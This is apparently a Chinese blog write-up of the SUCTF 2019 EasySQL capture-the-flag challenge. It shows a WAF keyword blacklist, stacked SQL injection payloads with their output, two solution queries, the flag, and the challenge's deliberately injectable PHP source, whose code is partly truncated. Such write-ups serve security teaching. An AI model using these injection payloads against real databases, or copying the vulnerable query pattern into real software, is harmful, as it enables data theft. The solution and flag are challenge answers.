• [SUCTF 2019]EasySQL


    [SUCTF 2019]EasySQL

    页面内容

    测试' or '1'='1 发现存在waf。

    经waf测试,以下关键字被ban掉

    3   handler 200 false   false   507 
    4   like    200 false   false   507 
    6   sleep   200 false   false   507 
    8   delete  200 false   false   507 
    10  or  200 false   false   507 
    17  insert  200 false   false   507 
    21  INFORMATION 200 false   false   507 
    27  xor 200 false   false   507 
    36  AND 200 false   false   507 
    41  CREATE  200 false   false   507 
    47  "   200 false   false   507 
    58  union   200 false   false   507 
    59  "   200 false   false   507 
    60  &   200 false   false   507 
    61  &&  200 false   false   507 
    63  oorr    200 false   false   507 
    69  anandd  200 false   false   507 
    72  IF  200 false   false   507 
    78  sleep   200 false   false   507 
    79  LIKE    200 false   false   507 
    86  infromation_schema  200 false   false   507 
    88  OR  200 false   false   507 
    89  ORDER   200 false   false   507 
    90  ORD 200 false   false   507 
    96  UNION   200 false   false   507 
    97  UPDATE  200 false   false   507 
    103 WHERE   200 false   false   507 
    105 AND 200 false   false   507 
    106 prepare 200 false   false   507 
    108 update  200 false   false   507 
    109 delete  200 false   false   507 
    110 drop    200 false   false   507 
    117 CREATE  200 false   false   507 
    121 DELETE  200 false   false   507 
    122 DROP    200 false   false   507 
    123 floor   200 false   false   507 
    124 rand()  200 false   false   507 
    125 information_schema.tables   200 false   false   507 
    131 ORD 200 false   false   507 
    133 extractvalue    200 false   false   507 
    134 order   200 false   false   507 
    137 ORDER   200 false   false   507 
    138 OUTFILE 200 false   false   507 
    144 updatexml   200 false   false   507 
    152 format  200 false   false   507 
    155 ord 200 false   false   507 
    157 UPDATE  200 false   false   507 
    162 WHERE   200 false   false   507 
    171 for 200 false   false   507 
    172 BEFORE  200 false   false   507 
    173 REGEXP  200 false   false   507 
    174 RLIKE   200 false   false   507 
    177 SEPARATOR   200 false   false   507 
    178 XOR 200 false   false   507 
    179 CURSOR  200 false   false   507 
    180 FLOOR   200 false   false   507 
    185 from    200 false   false   507 
    
    Bash
     

    可以看到waf非常强,排除了考点在绕过的可能。经过测试,发现此题存在堆叠注入。

    query=1;show databases;#
    
    Bash
     

    执行一些其他的语句

    query=1;select database();#
    
    Array
    (
        [0] => 1
    )
    Array
    (
        [0] => ctf
    )
    
    query=1;use ctf;show tables;#
    
    Array
    (
        [0] => 1
    )
    Array
    (
        [0] => Flag
    )
    
    Bash
     

    这里可以看到当前数据库ctf中只有一个表Flag,所以当前sql的查询必然是查询此表。
    在做题时没有想到后面怎么操作,查看writeup题解后,发现题目sql查询字符串的内容为:

    $sql = "select ".$post['query']."||flag from Flag";
    
    PHP
     

    知道了查询语言,答案很容易就出来了,有两种解法。

    1. *查询法

    使用*,1放入查询语句,就能查出当前Flag表中的所有内容。

    1. 操作符重置法

    使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符。

    flag{b6aa6525-21b4-4f99-9dd3-7748f206e62c}

    题目源码 :

    <?php
        session_start();
    
        include_once "config.php";
    
        $post = array();
        $get = array();
        global $MysqlLink;
    
        //GetPara();
        $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
        if(!$MysqlLink){
            die("Mysql Connect Error!");
        }
        $selectDB = mysqli_select_db($MysqlLink,$dataName);
        if(!$selectDB){
            die("Choose Database Error!");
        }
    
        foreach ($_POST as $k=>$v){
            if(!empty($v)&&is_string($v)){
                $post[$k] = trim(addslashes($v));
            }
        }
        foreach ($_GET as $k=>$v){
            }
        }
        //die();
    ?>
    
    <html>
    <head>
    </head>
    
    <body>
    
    <a> Give me your flag, I will tell you if the flag is right. </ a>
    <form action="" method="post">
    <input type="text" name="query">
    <input type="submit">
    </form>
    </body>
    </html>
    
    <?php
    
        if(isset($post['query'])){
            $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"";
            //var_dump(preg_match("/{$BlackList}/is",$post['query']));
            if(preg_match("/{$BlackList}/is",$post['query'])){
                //echo $post['query'];
                die("Nonono.");
            }
            if(strlen($post['query'])>40){
                die("Too long.");
            }
            $sql = "select ".$post['query']."||flag from Flag";
            mysqli_multi_query($MysqlLink,$sql);
            do{
                if($res = mysqli_store_result($MysqlLink)){
                    while($row = mysqli_fetch_row($res)){
                        print_r($row);
                    }
                }
            }while(@mysqli_next_result($MysqlLink));
    
        }
    
    ?>
    
    PHP
     
     
  • 相关阅读:
    Go-day01
    M1-Flask-Day2
    M1-Flask-Day1
    Tornado基于MiddleWare做中间件
    SqlAlchenmy基本使用
    PV、UV、UIP、VV、CPC、CPM、RPM、CTR解释
    Celery笔记
    Celery 分布式任务队列快速入门
    库操作
    Django cache
  • 原文地址:https://www.cnblogs.com/hackering/p/14259790.html
Copyright © 2020-2023  润新知